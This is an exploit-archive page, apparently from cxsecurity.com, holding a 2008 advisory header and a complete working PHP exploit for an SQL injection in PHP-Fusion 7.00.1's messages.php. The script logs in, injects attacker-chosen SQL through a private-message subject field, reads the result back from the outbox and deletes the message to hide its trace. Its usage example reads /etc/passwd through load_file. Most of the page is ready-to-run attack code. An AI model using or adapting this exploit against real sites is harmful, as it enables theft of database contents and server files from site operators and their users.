PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit

2008.12.07
Credit: irk4z
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit requires magic_quotes == off coded by irk4z[at]yahoo.pl homepage: http://irk4z.wordpress.com greets: all friends ;) *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/ $host = $argv[1]; $path = $argv[2]; $login = $argv[3]; $pass = $argv[4]; $sql_injection = $argv[5]; echo "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n". " PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit\n". " requires magic_quotes == off\n". "\n". " coded by irk4z[at]yahoo.pl\n". " homepage: http://irk4z.wordpress.com\n". "\n". " greets: all friends ;)\n". "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n"; if(empty($host) || empty($path) || empty($login) || empty($pass) || empty($sql_injection) ){ echo "Usage: php $argv[0] <host> <path> <login> <pass> <SQL>\n" . " php $argv[0] localhost /php-fusion/ user s3cret \"SELECT database()\"\n". " php $argv[0] localhost / user s3cret \"SELECT load_file(0x2F6574632F706173737764)\"\n\n"; die; } echo "Logging into system..."; //login to php-fusion using login and pass $login_data = send($host, array( "path" => $path."news.php", "post" => array( "user_name" => $login, "user_pass" => $pass, "login" => "Login" ) ) ); //get cookies preg_match_all("/Set-Cookie:[\s]+([a-z_A-Z0-9]+=[a-z_A-Z0-9\.]+;)/", $login_data, $matches); $cookies = implode(' ', $matches[1]); //get user id preg_match_all("/([0-9])+.([a-zA-Z0-9]{32})/", $cookies, $matches); $my_id = $matches[1][0]; if(empty($my_id)){ echo "\n[x] Incorrect login or password.."; die; } else { echo "[ok]\n"; } $id_message = uniqid(); $inhex = ''; for($i = 0; $i < strlen($id_message); $i++) $inhex .= dechex( ord($id_message[$i]) ) ; echo "Running sql-injection...\n"; //running sql-injection $res = send($host, array( "path" => $path."messages.php?msg_send={$my_id}%27%2F%2Axxx&", "cookie" => $cookies, "post" => array( "send_message" => 'X', "subject" => "X*/,0x{$inhex}, (SELECT/**/concat(0x{$inhex}{$inhex},hex(($sql_injection)),0x{$inhex}{$inhex})),0x79,1,1226787120,1)/*", "message" => "XXX" ) ) ); echo "Getting data...\n\n"; $res = send($host, array( "path" => $path."messages.php?folder=outbox", "cookie" => $cookies ) ); preg_match_all("/msg_read=([0-9]+)'>{$id_message}<\/a>/", $res, $matches); $id_message_number = $matches[1][0]; $res = send($host, array( "path" => $path."messages.php?folder=outbox&msg_read=".$id_message_number, "cookie" => $cookies ) ); preg_match_all("/{$id_message}{$id_message}(.*){$id_message}{$id_message}/", $res, $matches); if( empty($matches[1][0]) ){ echo "[x] Failed... maybe SQL-INJ is incorrect?\n\n"; } else { $tmp = ''; $hex = $matches[1][0]; //unhex it! for($i = 0; $i < strlen($hex); $i+=2) $tmp .= chr(hexdec($hex[$i] . $hex[$i+1])); echo "DATA: \n".$tmp."\n\n"; } echo "Deleting message...\n"; $res = send($host, array( "path" => $path."messages.php?folder=outbox&msg_id=".$id_message_number, "cookie" => $cookies, "post" => array ( "delete" => "Delete" ) ) ); //send http packet function send($host, $dane = "") { $packet = (empty($dane['post']) ? "GET" : "POST") . " {$dane["path"]} HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; if( !empty($dane['cookie']) ){ $packet .= "Cookie: {$dane['cookie']}\r\n"; } if( !empty($dane['post']) ){ $reszta_syfu = ""; foreach($dane['post'] as $tmp => $tmp2){ $reszta_syfu .= $tmp . "=" . $tmp2 . "&"; } $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Length: ".strlen($reszta_syfu)."\r\n\r\n"; $packet .= $reszta_syfu; } else { $packet .= "Connection: Close\r\n\r\n"; } $o = @fsockopen($host, 80); if(!$o){ echo "\n[x] No response...\n"; die; } fputs($o, $packet); while (!feof($o)) $ret .= fread($o, 1024); fclose($o); return ($ret); } ?>

References:

http://www.php-fusion.co.uk/news.php?readmore=436
http://www.php-fusion.co.uk/news.php?readmore=435
http://www.php-fusion.co.uk/downloads.php?cat_id=19


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top